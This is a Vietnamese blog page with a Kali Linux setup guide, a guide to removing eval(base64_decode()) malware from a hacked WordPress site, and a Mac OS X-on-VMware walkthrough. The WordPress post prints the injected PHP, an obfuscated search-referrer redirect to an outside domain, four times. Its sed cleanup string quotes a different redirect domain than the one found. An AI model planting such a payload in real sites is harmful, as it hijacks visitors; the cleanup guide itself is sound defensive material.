Kali linux là hệ điều hành chứa những bộ công cụ cực kì hữu dụng cho việc penetration testing, nhiều bạn mới làm quen với backtrack/kali cảm thấy bỡ ngỡ và mong muốn làm sao để nó có thể trở thành một hệ điều hành chính có thể thay thế windows để tiện cho việc học tập giải trí và nghiên cứu hacking, dưới đây mình tổng hợp một số phần mềm cần thiết và cách cài sau khi cài đặt kali, hi vọng sẽ giúp ích cho các bạn.






Mình liệt kê 20 điều mà mình thấy cần thiết giúp các bạn có thể sử dụng kali như một OS bình thường với đầy đủ các tiện ích học tập, giải trí.



  1. Chỉnh sửa sources.list
  2. Install Software center
  3. Install Mozilla firefox
  4. Install Adobe Flash Player
  5. Install Virtual Box
  6. Install Skype
  7. Install Teamviewer
  8. Install ibus-unikey(bộ gõ Tiếng Việt)
  9. Add and remove standard user(non-root)
  10. Setup and configure vpn in kali linux
  11. Install AptonCD - Create a backup of all the packages you have installed using apt-get
  12. Fix Database not connected or cache not built, using slow search" error in Metasploit
  13. Install java JDK 7
  14. Install Jdownloader
  15. How to hide show/hide all desktop icons on kali linux
  16. How to auto hide bottom panel
  17. Install pinta images editor(Trình chỉnh sửa ảnh nhỏ gọn như pain trong windows)
  18. Install and run Google Chrome as root user
  19. Installer for Microsoft TrueType core fonts(Add Aria, Times New Roman, Verdana,...etc font)
  20. Install sopcast player (Phần mềm không thể thiếu dành cho các bạn yêu bóng đá)
  21. Install & Run Nessus Vulnerability Scanner

1. Chỉnh sửa sources.list
Sau khi cài đặt kali, một điều làm mọi người phiền lòng là tốc độ mà nó update dữ liệu từ máy chủ quá chậm, để khắc phục điều này, các bạn mở sources.list bằng lệnh
Mã:
leafpad /etc/apt/sources.list
Tiếp theo các bạn thay thế nội dung trong đó bằng đoạn text sau:
Mã:
## Kali Regular repositories
deb http://repo.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
## Kali Source repositories
deb-src http://repo.kali.org/kali kali main non-free contrib
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

Nếu bạn không thấy sự cải thiện thì có thể dùng đoạn text sau để thay thế, nó sẽ sửa server update sang Anh, bình thường server update là của tung của rất hay bị mất kết nối :(
Mã:
## Kali Regular repositories
deb http://ftp.hands.com/kali kali main non-free contrib
deb http://ftp.hands.com/kali-security kali/updates main contrib non-free
## Kali Source repositories
deb-src http://ftp.hands.com/kali kali main non-free contrib
deb-src http://ftp.hands.com/kali-security kali/updates main contrib non-free

Để thay thế nhiều server khác nhau, vui lòng đọc bài viết này
http://www.blackmoreops.com/2013/11/14/c...nt-mirror/

Sau khi update và upgrade xong, các bạn thay thế nội dung trong file soures.list lại bằng sources mặc định sau:
Mã:
## Kali Regular repositories
deb http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
## Kali Source repositories
deb-src http://http.kali.org/kali kali main non-free contrib
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

Lí do là vì sources mặc định này sẽ cập nhật các bản/công cụ từ nhà sản xuất sớm hơn so với các server khác, ví dụ chẳng hạn như server mặc định này có bản vá lỗi của metaploit flamework trong khi các server khác thì chưa có.

2. Install Software center
Mã:
apt-get update
apt-get upgrade
apt-get install software-center

3. Install Mozilla firefox
Mã:
apt-get remove iceweasel
echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list > /dev/null
apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
apt-get update
apt-get install firefox-mozilla-build

4. Install Adobe Flash Player
4.1 Download Adobe Flash Player at http://get.adobe.com/flashplayer/
4.2 Type the command lines follow:
Mã:
cd /root/Downloads/
continue...
tar xzvf [file name of Adobe Flash Player], example:
Mã:
tar xzvf install_flash_player_11_linux.i386.tar.gz
Mã:
cp libflashplayer.so /usr/lib/mozilla/plugins/

5. Install Virtual Box
5.1 Download Virtual Box at https://www.virtualbox.org/wiki/Linux_Downloads
5.2 Type the command lines follow:
Mã:
apt-get update && apt-get install -y linux-headers-$(uname -r)
cd /root/Downloads/

dpkg -i [file name Virtual Box], example:
Mã:
dpkg -i virtualbox-4.3_4.3.12-93733~Debian~wheezy_i386.deb

6. Install Skype
6.1 Download skype at http://www.skype.com/en/download-skype/s...-computer/
6.2 Type the command lines follow:
Mã:
cd /root/Downloads/
dpkg -i [file name of Skype], example:
Mã:
dpkg -i skype-debian_4.2.0.13-1_i386.deb

7. Install Teamviewer
7.1 Download Teamviewer at http://download.teamviewer.com/download
7.2 Type the command lines follow:
Mã:
cd /root/Downloads/
dpkg -i [file name of Teamviewer], example:
Mã:
dpkg -i teamviewer_linux.deb

8. Install ibus-unikey(bộ gõ Tiếng Việt)
Mã:
apt-get install ibus im-switch
apt-get install ibus-unikey
#im-switch -s ibus
# logout and re-login
Mã:
ibus-setup # add input methods you want

9. Add and remove standard user(non-root)
Add:
Mã:
useradd -m user1 //replace user1 with your desired user name
(Note: -m means create home directory which is usually /home/username)

Now set password for this user:
Mã:
passwd user1

Add user to sudo group (to allow user to install software, allow printing, use privileged mode etc.) :
Mã:
usermod -a -G sudo user1
(Note: -a means append or add and –G mean to specified group/groups)

Change default shell of previously created user to bash :
Mã:
chsh -s /bin/bash user1
(Note: chsh mean change login shell, -s is the name of the specified shell you want for the user, in this case /bin/bash)

Nice, all worked out as expected.
Let’s logout and login back as our new Standard Non-root user (user1)

Login as new user:
Become root!:
Mã:
sudo su –

Delete user in Kali Linux:
Log in as root user again. Open your terminal and type:
Mã:
userdel –r user1
(Note: -r means delete all files and home directory for user1)
You can replace user1 with your desired user name.

I have an error “user1 is currently used by process 5866”.
Don't worry, fix it by terminal type:
Mã:
kill -9 5866

Now let’s try to delete the user again.
Mã:
userdel –r user1
We have a message. “userdel: user1 mail spool (/var/mail/user1) not found”

Just to confirm everything for user1 was deleted list files in home directory
Mã:
ls /home
Nothing.. that’s good news, all files and folders were deleted for user1.

Want to double-check?
Mã:
su user1

Perfect user1 was deleted successfully.

10. Setup and configure vpn in kali linux
Mã:
apt-get install network-manager-openvpn
apt-get install network-manager-openvpn-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc
apt-get install network-manager-vpnc-gnome
/etc/init.d/network-manager restart

11. Install AptonCD - Create a backup of all the packages you have installed using apt-get
Mã:
apt-get install aptoncd

12. Fix Database not connected or cache not built, using slow search" error in Metasploit

Mã:
service postgresql start
OR
Mã:
#/etc/init.d/postgresql start
Mã:
service metasploit start
OR
Mã:
#/etc/init.d/metasploit start
Mã:
apt-get update
apt-get upgrade

One more thing... If you want postgreSQL and Metasploit services to auto start whenever you boot into Backtrack or Kali, you can issue the following commands on the root terminal:
Mã:
update-rc.d postgresql enable
update-rc.d metasploit enable

13. Install java JDK 7

13.1 Download the latest Java SE SDK version at http://www.oracle.com/
Các bạn lưu file download vào thư mục /root

13.2 UnTar the Archive and move to /opt
Mã:
tar -xzvf /root/jdk-7u45-linux-x64.tar.gz
mv jdk1.7.0_45 /opt
cd /opt/jdk1.7.0_45

14.3 Install and register binaries

Mã:
update-alternatives --install /usr/bin/java java /opt/jdk1.7.0_45/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.7.0_45/bin/javac 1
update-alternatives --install /usr/lib/mozilla/plugins/libjavaplugin.so mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so 1
update-alternatives --set java /opt/jdk1.7.0_45/bin/java
update-alternatives --set javac /opt/jdk1.7.0_45/bin/javac
update-alternatives --set mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so

13.4 Test
First of all, close your browser and re-open, access to http://www.java.com/en/download/installed.jsp
Mã:
java -version

Lưu ý bản java SE JDK mới nhất là bản 8, lệnh thì tương tự nhưng các bạn phải sửa một số đường dẫn đến các file sao cho phù hợp, các bạn tùy cơ ứng biến nhé :)

14. Install Jdownloader
14.1 Download jdownloader as http://jdownloader.org/
14.2 Install:
Mã:
chmod +x jd_unix_0_9.sh && ./jd_unix_0_9.sh

15.1 How to hide show/hide all desktop icons on kali linux
Open your terminal and type:
Mã:
gsettings set org.gnome.desktop.background show-desktop-icons false

15.2 How to auto hide bottom panel

Access to applications/System tools/deconf Editor/org/gnome/gnome-panel/layout/toplevels/bottom-panel, check auto hide

16. Install pinta images editor(Trình chỉnh sửa ảnh nhỏ gọn như pain trong windows)
Mã:
apt-get install pinta

Trên linux thì có trình chỉnh sửa ảnh GIMP, được ví như photoshop thứ 2, cài đặt bằng lệnh
Mã:
apt-get install gimp

17. Install and run Google Chrome as root user
17.1 Download Google Chrome at http://www.google.com.vn/intl/vi/chrome/browser/
17.2 Install by the command lines:
Mã:
cd /root/Downloads/
dpkg -i [file name of Chrome], example:
Mã:
dpkg -i google-chrome-stable_current_i386.deb
17.3 Run Chrome as root user
Mã:
leafpad /opt/google/chrome/google-chrome
Find a line:
Mã:
exec -a "$0" "$HERE/chrome"  "$@"
Replace it to
Mã:
exec -a "$0" "$HERE/chrome"  "$@" --user-data-dir ”/root/.config/google-chrome”

Enjoy! Now open google chrome from Application>>Internet>>Google Chrome

18. Installer for Microsoft TrueType core fonts(Add Aria, Times New Roman, Verdana,...etc font)
Mã:
apt-get install ttf-mscorefonts-installer

19. Install sopcast player (Phần mềm không thể thiếu dành cho các bạn yêu bóng đá)
Đầu tiên các bạn tải sp-auth tại đây
Tiếp theo cài đặt nó bằng lệnh
Mã:
cd /root/Downloads/
dpkg -i sp-auth_3.2.6~ppa1~precise3_i386.deb
apt-get -f install
Tiếp theo các bạn tải về sopcast 0.8.5 tại đây
Cài đặt nó bằng lệnh
Mã:
dpkg -i sopcast-player_0.8.5~ppa~precise1_i386.deb
apt-get -f install

Ok, vậy là công việc cài đặt đã hoàn tất, giờ bạn chỉ việc khởi động nó ở Applications => Sound & Videos =>Sopcast Player là đã có thể thưởng thức bóng đá và các chương trình tv, thể thao khác,v..v...
Lưu ý là link sopcast các bạn phải tự add bằng tay chứ nó không tự động chạy như trong windows đâu.

20. Install & Run Nessus Vulnerability Scanner

20.1 Download Nessus is here http://www.tenable.com/products/nessus/s...ing-system, bản mới nhất là 5.2.7
20.2 Cài đặt nó:
Mã:
cd /root/Downloads/
dpkg -i "deb packet name", example:
Mã:
dpkg -i Nessus-5.2.7-debian6_i386.deb
Vậy là việc cài đặt nessus vào máy đã thành công.
20.3 Khởi chạy:
Mã:
/etc/init.d/nessusd start
-Tiếp theo các bạn mở trình duyệt web và truy cập đến địa chỉ https://host name:8834, nếu trong quá trình cài đặt kali bạn không thay đổi thì nó là https://kali:8834
-Nhấn tiếp tục nếu xuất hiện cảnh báoAngel
-Chọn Tiếp Get started
-Nhập vào mật khẩu và tài khoản đăng nhập nessus, chọn next
-Ở bước này, nessus sẽ yêu cầu bạn nhập activation code, bạn truy cập vào đây, chọn bản nessus home, điền email để nhận code
-Sau khi điền code, Tiếp tục chọn Next==>Download Plugins, chờ một lát(cũng khá lâu Big Grin ) để nó download và initializing các plugins cần thiết.
-Tiếp theo, màn hình đăng nhập của nessus xuất hiện, bạn nhập tài khoản và mật khẩu để đăng nhập
ok, susscess!
Read More

Thứ Năm, 7 tháng 5, 2015

How to clean eval(base64_decode()) from a Hacked WordPress Website via SSH

First, Temporarily Blocking Access to the Site

While fixing the problem, we don’t want the attacker to have any access to the site. To block all access to the website, you can add the following to the top of the .htaccess in the root folder of the website (if an .htaccess file doesn’t already exist, you’ll want to create it).

To allow access from just your IP address, replace "!!Your IP Address Here!!" with your IP address:
order deny,allow
deny from all
allow from !!Your IP Address Here!!
   
Now we’re ready to start cleaning things up.

Automating the Cleanup Process

The first step is to search the directory for any files that may contain the malicious code:
$ pwd
/home/username/wwww/
$ cd wp-content/
$ find . -type f | xargs grep "ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRl"

./themes/default/single.php:<?php       eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9jdmtsYS4yNXUuY29tLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
./themes/default/search.php:<?php       eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9jdmtsYS4yNXUuY29tLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
./themes/default/sidebar.php:<?php      eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9jdmtsYS4yNXUuY29tLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
./themes/default/functions.php:<?php        eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9jdmtsYS4yNXUuY29tLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
...
...
...
$
Using a few Linux commands, we’ll find all .php files in the current directory and all subdirectories and then pipe those files into another command that uses the sed program (sed is short for ‘stream editor’) to search for the malicious line and replace it with nothing, effectively deleting that line from each file.

$ pwd
/home/username/wwww/wp-content/
$ find . -name "*.php" -print | xargs sed -i 's@eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9jcm9hdGkuZG5zZXQuY29tLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));@@g'
 Now we can run the search command again to see if all the files were cleaned out:
$ pwd
/home/username/wwww/wp-content/
$ find . -type f | xargs grep "ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRl"
Read More

Thứ Tư, 6 tháng 5, 2015

Cách cài Mac OS X lên VMWare trên Windows chạy mượt mà như máy Macintosh

Mac OS X trên VMWare Windows - Mượt như Macintosh - Apple không thích điều này

Mac OS X là một hệ điều hành tiên tiến, dễ dùng và cực kỳ ổn định khi sử dụng hàng ngày, chưa kể là Mac OS vốn rất đẹp nếu so với Windows hay Linux. Được sử dụng nó là mơ ước của rất nhiều người. Thế nhưng cái giá để có thể xài Mac OS là rất đắt đỏ vì Mac OS được tạo ra với mục đích chỉ chạy trên các máy tính Macintosh do Apple sản xuất.

Trước giờ, thông thường để chạy Mac OS X thì bạn chỉ có thể có 2 cách:

1. Mua một cái máy Mac: khỏi nói, có tiền mua thì khỏi bàn rồi, sướng vãi lều luôn, nhưng mà giá máy Mac thì mắc gấp 2-3 máy PC/Laptop cùng cấu hình

2. Áp dụng kỹ thuật Hack-intosh, tức là cài đặt Mac OS lên một cái máy tính PC bình thường: cách này cho đến nay vẫn là phương thức thường dùng của người không có điều kiện mua máy Mac ( có giá gấp 2-3 lần một PC hay Laptop cùng cấu hình ), tuy nhiên giới hạn của Hackintosh là cấu hình máy hiện tại mà bạn đang sở hữu ít khi có thể chạy trơn tru với bản Mac OS Hack này do phần cứng không tương thích ( Mac OS vốn chỉ hỗ trợ 1 số driver rất giới hạn ), việc cài Hackintosh cũng khiến Mac OS bất ổn do các phần mở rộng nhân hệ thống ( Kernel Extension - Kext ) không phải lúc nào cũng tương thích với nhân của OS vì nó do các developer không phải cua Apple làm, tìm cách làm cho Mac OS chạy với các phần cứng không đúng với Apple thiết kế. Hackintosh về cơ bản bạn chỉ có 2 lựa chọn, 1 là mua 1 cái máy PC được lựa chọn kỹ phần cứng tương thích với các Kext đã được các Dev tạo sẵn, hoặc chấp nhận chạy Mac OS mà thiếu tính năng. Do đó giải pháp Hackintosh không thực sự hoàn thiện. Đặc biệt là Hackintosh hầu như ít tương thích với cấc Laptop vì cấu hình Laptop là không thể thay đổi

Vậy nên giấc mơ xài Mac OS có vẻ thực sự rất xa vời :)

Cơ mà đối với các Hacker thì chuyện bó tay là chuyện rất ngứa :))))

Giải pháp tốt nhất hiện nay:

Cài đặt Mac OS X mọi phiên bản ( từ 10.5 trở lên ) lên VMWare như một máy ảo:


Giải thích ngắn gọn: VMWare thực ra có một phiên bản VMWare dành cho Mac OS gọi là VMWare Fusion, bản VMWare này hỗ trợ việc chạy Mac OS X trên các máy Mac :D ( chuyện đương nhiên :)) ), đây chính là khởi nguồn cho ý tưởng "VMWare Fusion có thể chạy Mac OS trên máy Mac. Vậy có cách nào để VMWare Workstation chạy Mac OS trên máy PC/Laptop Windows không ? )

Ý tưởng này thực sự rất thú vị: do đó các hacker ( trong đó có mền ) có tham gia 1 thread trên InsanelyMac thảo luận về ý tưởng port các đoạn mã/tính năng hỗ trợ chạy Mac OS từ VMWare Fusion ( Mac ) qua VMWare Workstation ( Windows ). Ý tưởng này rất khả thi vì các bản VMWare thực ra được tạo ra từ cùng một CodeBase ( cơ sở mã nguồn ) như nhau thôi.
Lúc đầu việc port được thực hiện khá thủ công. Đầu tiên là thử dùng máy ảo dạng FreeBSD ( profile bsd ) vì Mac OS thực ra là một bản phát triển của Unix, rồi một file iso mồi thay thế cho UEFI boot ( lúc đầu VMWare 6.0 - 7.0 chưa hỗ trợ UEFI - chôm từ Hackintosh ) ... Các bước manually đó đều đem tới một kết quả rất khả quan là Mac OS boot và cài đặt bình thường trên VMWare Workstation Windows . Tuy nhiên cách làm khá phức tạp rất khó áp dụng vì liên quan tới patch VMWare này nọ để nó support Mac OS ...
Tới cuối năm 2011, một bạn siêu nhân nick Zenith432 đã tổng hợp các kỹ thuật trên và làm thành 1 bộ script tự động để patch VMWare, sau đó là sự ra đời của VMWare Workstation 8.0 cung cấp trọn vẹn UEFI boot cũng như một siêu nhân khác chỉnh sửa patchscript của bạn ở trên thành một bộ tool là Unlocker. Kỹ thuật patch VMWare để VMWare Workstation có các tính năng hỗ  trợ Mac OS như VMWare Fusion coi như hoàn thiện.

Ok giới thiệu dài dòng vậy để bạn hiểu rõ nguồn gốc phát triển khá lâu dài của kỹ thuật này :) giờ là cách thực hiện :)

Yêu cầu phần cứng:

Dĩ nhiên đây là máy ảo chạy trên máy thật, vì vậy dù gì thì vẫn có một chút yêu cầu đối với phần cứng đủ để chạy VMWare :)

1. Ram: 8GB, tốt nhất là 8GB muốn chạy máy ảo mà số Ram thấp hơn 8GB thì hơn ái ngại chút vì máy sẽ chậm

2. CPU: core i3, core i5 hay core i7 thế hệ nào cũng được vì core i5 trở lên có hỗ trợ tập lệnh ảo hóa Intel Virtualization VT-x nên . Nếu Core i7 thì ngon hơn vì có thêm tập lệnh VT-d ( IO Direct ) giúp máy ảo truy cập trực tiếp phần cứng thật nên máy nhanh vê lờ. Core 2duo thì thôi dẹp vì không có VT-x máy chạy chậm lắm không chạy nổi VMWare đâu

3. Ổ cứng: tốt nhất là SSD nếu có điều kiện ( SSD 128GB giờ cũng khoảng 1 triệu mấy rẻ bèo, cắm vô thấy cái máy chạy nhanh gấp 100 lần liền ), nếu không thì dùng HDD cũng được nhưng cảnh báo là sẽ chậm vì Mac OS là HDH đọc ghi dữ liệu rất ác, ngay cả máy Mac xịn cũng chuyển qua SSD cả rồi vì HDD chậm lắm. Tuy nhiên với Windows là HĐH chủ thì chúng ta có 1 phép màu khác :D nếu dùng HDD mà áp dụng phép màu này thì hiệu quả cũng được gần bằng SSD , tuy nhiên Ram bắt buộc phải 8GB, dưới 8GB là vứt, cuối bài sẽ nói tới cái tối ưu này

Yêu cầu phần mềm:

1. Tải về VMWare Workstation bản 11.0 tải tại đây ( https://www.fshare.vn/file/7PSIWT1HY8WK )

2. Tải về ảnh đĩa VMDK bộ cài Mac OS X 10.7 Lion mà xnohat đã tạo sẵn tại đây ( cái này không thể kiếm ở đâu khác đâu :)) ) . Tải về giải nén ( pass giải nén: xnohat ) được file Mac OS X Lion Installer.vmdk  .

3. Tải về VMWare MacOS Unlocker từ InsanelyMac tại đây ( tải bản mới nhất là Unlocker 2.0.4 tương thích VMWare Workstation 11.0 )

Cách thực hiện:

1. Cài đặt VMWare Workstation 11.0 : cái này thì tự cài nghen

2. Sau khi cài xong VMWare thì giải nén cái Unlocker 2.0.4 ở trên ra 1 folder, sau đó chạy file win-install.cmd

Đợi 1 chút cho Unlocker nó patch VMWare, xong thì nó tự tắt cửa sổ dòng lệnh

3. Vô VMWare tạo máy ảo mới -> chọn Custom ( Advanced ) -> chọn Hardware là Workstation 10 vì Hardware 10 là thứ mà có hỗ trợ VMWare Fusion, bản Hardware 11 VMWare Fusion chưa hỗ trợ -> Next -> I will install ... later ... -> Chọn Mac OS X -> chọn Mac OS X 10.7 ( như hình dưới ) -> Next -> chọn chỗ lưu Máy ảo Mac OS X , nên chọn lưu vô ổ SSD để tăng tốc độ truy cập ổ cứng cho Mac OS -> Firmware Type chọn EFI ( tức là UEFI ) -> Processors để mặc định là được -> Ram mặc định -> Network để là NAT -> Next mấy cái mặc định tới khi gặp chỗ Create a New Disk ( tạo ổ cứng mới ) -> Next -> chọn Store Virtual Disk as a Single File để có hiệu suất cao -> Next mấy cái tới Finish luôn
Vậy là đã có máy ảo
4. Chọn máy ảo Mac OS X 10.7 và click vô dòng Edit virtual machine setting:
Bấm nút Add ở cửa sổ hiện ra, chỗ Hardware Type chọn Hard Disk:

Next -> Next -> Chọn Use an existing virtual disk -> Next -> Disk File: chọn tới chỗ file Mac OS X Lion Installer.vmdk lúc nãy. Bấm Finish

Xong, giờ thì bấm nút Start ( nút play màu xanh ) để khởi động máy ảo Mac OS.
Chờ 1 chút sẽ thấy giao diện cài đặt Mac OS như dưới ( hoặc giao diện chọn ngôn ngữ )


Ok giờ thì phần cài đặt là của bạn tự khám phá :) Notes: ổ đĩa ảo vẫn chưa được format đâu, nhớ dùng Utilities -> Disk Utility để format thành định dạng Mac OS Extended rồi mới cài được nhe :)

Cài xong Mac OS thì có thể vô App Store để update lên Mac OS X mới nhất 10.10 Yosmite nếu bạn thích cái HDH bóng lộn ấy :))

Chúc bạn vui vẻ với Mac OS - Apple không thích điều này :))))


Bonus:

Tăng tốc độ ổ HDD gần bằng SSD

Kỹ thuật tăng tốc này gọi là Disk Read/Write Caching on RAM tức là khi đọc ghi dữ liệu xuống ổ cứng, chúng ta sẽ dùng RAM là một bộ đệm tạm ở giữa giúp tốc độ truy xuất ổ cứng tăng lên tới 200% ( tùy trường hợp ).

Tuy nhiên vì dùng RAM làm bộ đệm nên máy cần phải nhiều RAM, ít nhất là 8GB RAM thì mới đủ cho vừa đệm ổ cứng vừa VMWare vừa Máy ảo Mac OS X.

Cách làm thì dùng phần mềm
1. SuperCache : cái này thì mắc lắm ( 1000$ cho 1 license ) có crack nhưng chỉ cho bản 32bit thôi :D nên bạn nào giàu có tiền mua thì xài, cái này xài thì tốt nhất, hiệu quả nhất, tốc độ tăng mát trời ông địa luôn

